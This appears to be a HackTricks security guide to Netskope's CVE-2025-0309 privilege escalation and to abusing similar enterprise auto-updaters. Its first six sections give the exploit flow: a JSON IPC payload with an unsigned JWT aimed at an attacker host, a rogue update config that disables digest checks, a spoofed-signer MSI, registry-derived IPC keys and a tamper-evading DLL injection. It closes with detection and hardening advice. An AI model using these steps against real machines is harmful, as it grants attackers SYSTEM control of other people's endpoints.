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126 lines
7.6 KiB
Markdown
126 lines
7.6 KiB
Markdown
# Abusing Enterprise Auto-Updaters and Privileged IPC (e.g., Netskope stAgentSvc)
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{{#include ../../banners/hacktricks-training.md}}
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This page generalizes a class of Windows local privilege escalation chains found in enterprise endpoint agents and updaters that expose a low‑friction IPC surface and a privileged update flow. A representative example is Netskope Client for Windows < R129 (CVE-2025-0309), where a low‑privileged user can coerce enrollment into an attacker‑controlled server and then deliver a malicious MSI that the SYSTEM service installs.
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Key ideas you can reuse against similar products:
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- Abuse a privileged service’s localhost IPC to force re‑enrollment or reconfiguration to an attacker server.
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- Implement the vendor’s update endpoints, deliver a rogue Trusted Root CA, and point the updater to a malicious, “signed” package.
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- Evade weak signer checks (CN allow‑lists), optional digest flags, and lax MSI properties.
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- If IPC is “encrypted”, derive the key/IV from world‑readable machine identifiers stored in the registry.
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- If the service restricts callers by image path/process name, inject into an allow‑listed process or spawn one suspended and bootstrap your DLL via a minimal thread‑context patch.
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---
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## 1) Forcing enrollment to an attacker server via localhost IPC
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Many agents ship a user‑mode UI process that talks to a SYSTEM service over localhost TCP using JSON.
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Observed in Netskope:
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- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
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- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
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Exploit flow:
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1) Craft a JWT enrollment token whose claims control the backend host (e.g., AddonUrl). Use alg=None so no signature is required.
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2) Send the IPC message invoking the provisioning command with your JWT and tenant name:
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```json
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{
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"148": {
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"idpTokenValue": "<JWT with AddonUrl=attacker-host; header alg=None>",
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"tenantName": "TestOrg"
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}
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}
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```
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3) The service starts hitting your rogue server for enrollment/config, e.g.:
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- /v1/externalhost?service=enrollment
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- /config/user/getbrandingbyemail
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Notes:
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- If caller verification is path/name‑based, originate the request from a allow‑listed vendor binary (see §4).
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---
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## 2) Hijacking the update channel to run code as SYSTEM
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Once the client talks to your server, implement the expected endpoints and steer it to an attacker MSI. Typical sequence:
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1) /v2/config/org/clientconfig → Return JSON config with a very short updater interval, e.g.:
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```json
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{
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"clientUpdate": { "updateIntervalInMin": 1 },
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"check_msi_digest": false
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}
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```
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2) /config/ca/cert → Return a PEM CA certificate. The service installs it into the Local Machine Trusted Root store.
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3) /v2/checkupdate → Supply metadata pointing to a malicious MSI and a fake version.
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Bypassing common checks seen in the wild:
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- Signer CN allow‑list: the service may only check the Subject CN equals “netSkope Inc” or “Netskope, Inc.”. Your rogue CA can issue a leaf with that CN and sign the MSI.
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- CERT_DIGEST property: include a benign MSI property named CERT_DIGEST. No enforcement at install.
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- Optional digest enforcement: config flag (e.g., check_msi_digest=false) disables extra cryptographic validation.
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Result: the SYSTEM service installs your MSI from
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C:\ProgramData\Netskope\stAgent\data\*.msi
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executing arbitrary code as NT AUTHORITY\SYSTEM.
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---
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## 3) Forging encrypted IPC requests (when present)
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From R127, Netskope wrapped IPC JSON in an encryptData field that looks like Base64. Reversing showed AES with key/IV derived from registry values readable by any user:
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- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
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- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
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Attackers can reproduce encryption and send valid encrypted commands from a standard user. General tip: if an agent suddenly “encrypts” its IPC, look for device IDs, product GUIDs, install IDs under HKLM as material.
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---
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## 4) Bypassing IPC caller allow‑lists (path/name checks)
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Some services try to authenticate the peer by resolving the TCP connection’s PID and comparing the image path/name against allow‑listed vendor binaries located under Program Files (e.g., stagentui.exe, bwansvc.exe, epdlp.exe).
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Two practical bypasses:
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- DLL injection into an allow‑listed process (e.g., nsdiag.exe) and proxy IPC from inside it.
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- Spawn an allow‑listed binary suspended and bootstrap your proxy DLL without CreateRemoteThread (see §5) to satisfy driver‑enforced tamper rules.
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---
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## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch
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Products often ship a minifilter/OB callbacks driver (e.g., Stadrv) to strip dangerous rights from handles to protected processes:
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- Process: removes PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
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- Thread: restricts to THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
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A reliable user‑mode loader that respects these constraints:
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1) CreateProcess of a vendor binary with CREATE_SUSPENDED.
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2) Obtain handles you’re still allowed to: PROCESS_VM_WRITE | PROCESS_VM_OPERATION on the process, and a thread handle with THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (or just THREAD_RESUME if you patch code at a known RIP).
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3) Overwrite ntdll!NtContinue (or other early, guaranteed‑mapped thunk) with a tiny stub that calls LoadLibraryW on your DLL path, then jumps back.
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4) ResumeThread to trigger your stub in‑process, loading your DLL.
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Because you never used PROCESS_CREATE_THREAD or PROCESS_SUSPEND_RESUME on an already‑protected process (you created it), the driver’s policy is satisfied.
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---
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## 6) Practical tooling
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- NachoVPN (Netskope plugin) automates a rogue CA, malicious MSI signing, and serves the needed endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
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- UpSkope is a custom IPC client that crafts arbitrary (optionally AES‑encrypted) IPC messages and includes the suspended‑process injection to originate from an allow‑listed binary.
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---
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## 7) Detection opportunities (blue team)
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- Monitor additions to Local Machine Trusted Root. Sysmon + registry‑mod eventing (see SpecterOps guidance) works well.
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- Flag MSI executions initiated by the agent’s service from paths like C:\ProgramData\<vendor>\<agent>\data\*.msi.
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- Review agent logs for unexpected enrollment hosts/tenants, e.g.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – look for addonUrl / tenant anomalies and provisioning msg 148.
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- Alert on localhost IPC clients that are not the expected signed binaries, or that originate from unusual child process trees.
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---
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## Hardening tips for vendors
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- Bind enrollment/update hosts to a strict allow‑list; reject untrusted domains in clientcode.
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- Authenticate IPC peers with OS primitives (ALPC security, named‑pipe SIDs) instead of image path/name checks.
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- Keep secret material out of world‑readable HKLM; if IPC must be encrypted, derive keys from protected secrets or negotiate over authenticated channels.
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- Treat the updater as a supply‑chain surface: require a full chain to a trusted CA you control, verify package signatures against pinned keys, and fail closed if validation is disabled in config.
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## References
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- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
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- [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN)
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- [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope)
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- [NVD – CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309)
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{{#include ../../banners/hacktricks-training.md}}
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